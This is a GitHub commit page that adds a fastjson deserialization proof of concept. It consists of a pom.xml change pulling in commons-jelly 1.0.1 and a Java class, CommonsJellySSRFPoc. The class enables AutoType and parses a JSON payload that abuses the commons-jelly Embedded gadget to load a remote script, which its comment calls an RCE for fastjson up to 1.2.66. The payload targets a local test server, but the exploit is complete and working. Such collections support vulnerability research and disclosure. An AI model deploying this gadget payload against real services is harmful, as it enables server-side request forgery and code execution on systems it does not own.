Skip to content

Commit 12436e2

Browse files
author
“threedr3am”
committed
Merge branch 'feat/fastjson-gadget-ssrf-common-jelly'
# Conflicts: # fastjson/pom.xml
2 parents 44203a7 + f4f46da commit 12436e2

File tree

2 files changed

+41
-0
lines changed

2 files changed

+41
-0
lines changed

fastjson/pom.xml

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -110,5 +110,11 @@
110110
<artifactId>cxf-bundle</artifactId>
111111
<version>2.7.18</version>
112112
</dependency>
113+
114+
<dependency>
115+
<groupId>commons-jelly</groupId>
116+
<artifactId>commons-jelly</artifactId>
117+
<version>1.0.1</version>
118+
</dependency>
113119
</dependencies>
114120
</project>
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
package com.threedr3am.bug.fastjson;
2+
3+
import com.alibaba.fastjson.JSON;
4+
import com.alibaba.fastjson.parser.ParserConfig;
5+
import com.threedr3am.bug.common.server.HTTPServer;
6+
7+
/**
8+
* fastjson <= 1.2.66 RCE,需要开启AutoType
9+
*
10+
*
11+
* <dependency>
12+
* <groupId>commons-jelly</groupId>
13+
* <artifactId>commons-jelly</artifactId>
14+
* <version>1.0.1</version>
15+
* </dependency>
16+
*
17+
* @author threedr3am
18+
*/
19+
public class CommonsJellySSRFPoc {
20+
21+
static {
22+
HTTPServer.PORT = 23234;
23+
HTTPServer.run(null);
24+
}
25+
26+
public static void main(String[] args) {
27+
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
28+
String payload = "{\"@type\":\"org.apache.commons.jelly.impl.Embedded\",\"script\": \"http://127.0.0.1:23234?aaaa=111&bb=242\"}";
29+
try {
30+
JSON.parse(payload);
31+
} catch (Exception e) {
32+
e.printStackTrace();
33+
}
34+
}
35+
}

0 commit comments

Comments
 (0)